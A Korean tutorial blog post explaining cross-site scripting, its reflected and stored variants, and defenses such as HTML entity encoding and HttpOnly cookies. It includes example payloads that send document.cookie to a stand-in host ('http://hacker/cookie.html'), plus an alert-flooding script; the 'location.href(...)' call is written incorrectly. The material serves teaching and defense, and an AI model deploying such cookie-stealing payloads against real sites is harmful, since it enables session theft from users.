본문 바로가기
Security

[Security] XSS란?

by 디토20 2022. 3. 26.
반응형

[Security] XSS란?

 

XSS(Cross Site Scripting)

XSS란? Cross Site Scripting의 약자로,관리자가 아닌 사람이 악성 스크립트 코드를 삽입해 치명적인 오류 발생시키거나 쿠키등을 탈취하는 공격이다.

 

Cross Site Scripting인데 CSS가 아닌 XSS인 이유는, 이미 CSS라는 약어가 존재하기 때문이다.

사실 이것때문에 처음에 XSS단어 의미가 많이 혼동되고 와닿지 않았었다.

 

 

 

XSS 공격 방식

 

예를 들어 구글의 검색 란에 위와 같은 text를 입력했을때, 구글 검색창에 XSS가 방지되어있지 않았다면, 실제로 alert 창이 떴을 것이다. 그럼 과연 아래와 같은 스크립트를 입력했다면..?

<script>
	for(var i = 0; i<50000; i++){
    	alert("안녕")
    }
</script>

alert이 50000번이 뜨게 되어 문제가 생길것이다.

 

 

 

XSS의 종류

XSS는 크게 Reflected XSS와 Stored XSS가 있다.

아래의 예시에서 구글이 XSS 공격에 취약하다고 가정하고 구글을 XSS의 피해 서버로 가정했다. (미안해 구글)

 

1.Reflected XSS

해커는 유저에게 악의적인 스크립트가 담긴 URL을 누르게 유도해, 유저의 정보를 탈취한다.

 

 

1. Hacker는 XSS가 취약한 웹사이트를 찾았다 = Google

2. Hacker는 User를 유인할 URL을 만들어 User가 해당 URL을 클릭하게 한다.

 -> 가입만 해도 추첨을 통해 1비트코인 증정!!

(http://google?search=<script>location.href("http://hacker/cookie.html?value="+document.cookie);</script>)

3.  User는 위의 링크를 클릭하는 순간 구글은 서버에서 User의 쿠키를 가져와 http://hacker/cookie.html라는 Hacker의 서버로 User의 쿠키를 공손하게 전달한다.

4. Hacker는 탈취한 User의 쿠키를 이용해 이런?저런? 아주 나쁜짓을 저지른다.

 

 

 

 

 

 

2. Stored XSS

해커는 웹서버의 DB에 악성 스크립트가 포함된 정보를 저장하여 해당 글을 열람하는 유저의 정보를 탈취한다.

 

1. Hacker는 XSS가 취약한 웹사이트를 찾았다 = Google

2. Hacker는 Google 블로그에 악성 스크립트를 포함한 블로그 글을 작성한다.

 -> 로또 1등 당첨 후기

    <script>location.href("http://hacker/cookie.html?value="+document.cookie);</script>

      어제 여친한테 차이고 인생이 너무 슬퍼서 로또 자동으로 샀는데

      로또 1등 당첨됐다 ㅎㄷㄷ

3. 로또 1등 당첨 후기 글을 찾아보던 User는 해당 글을 누르는 순간 악성 script가 실행되어 Hacker의 손에 User의 Google cookie 정보가 넘어간다.

4. Hacker는 탈취한 User의 쿠키를 이용해 이런?저런? 아주 나쁜짓을 저지른다.

 

 

 

 

 

XSS 방지

1. 특수문자 필터링

서버측에서 특수문자들 (ex. <, > ,", '>)등을 필터링 해주어 xss를 방지할 수 있다.

예를들어 브라우저에서 서버로 입력값을 넘겨줄 때 HTML entity로 필터링해서 넘겨줄 수 있다.

HTML entity를 이용하면 < 는 &lt;로, > 는 &gt;로 변경되어 넘어가기 떄문에

사용자가 <script>를 입력할 경우 서버로는 &lt;script;&gt;로 입력값이 넘어가 XSS를 방지할 수 있는것이다.

 

2. Cookie 보안 설정

Cookie를 생성할때 HTTP ONLY로 생성하면, javascript로 탈취가 불가능하다.

 

 

728x90
반응형

댓글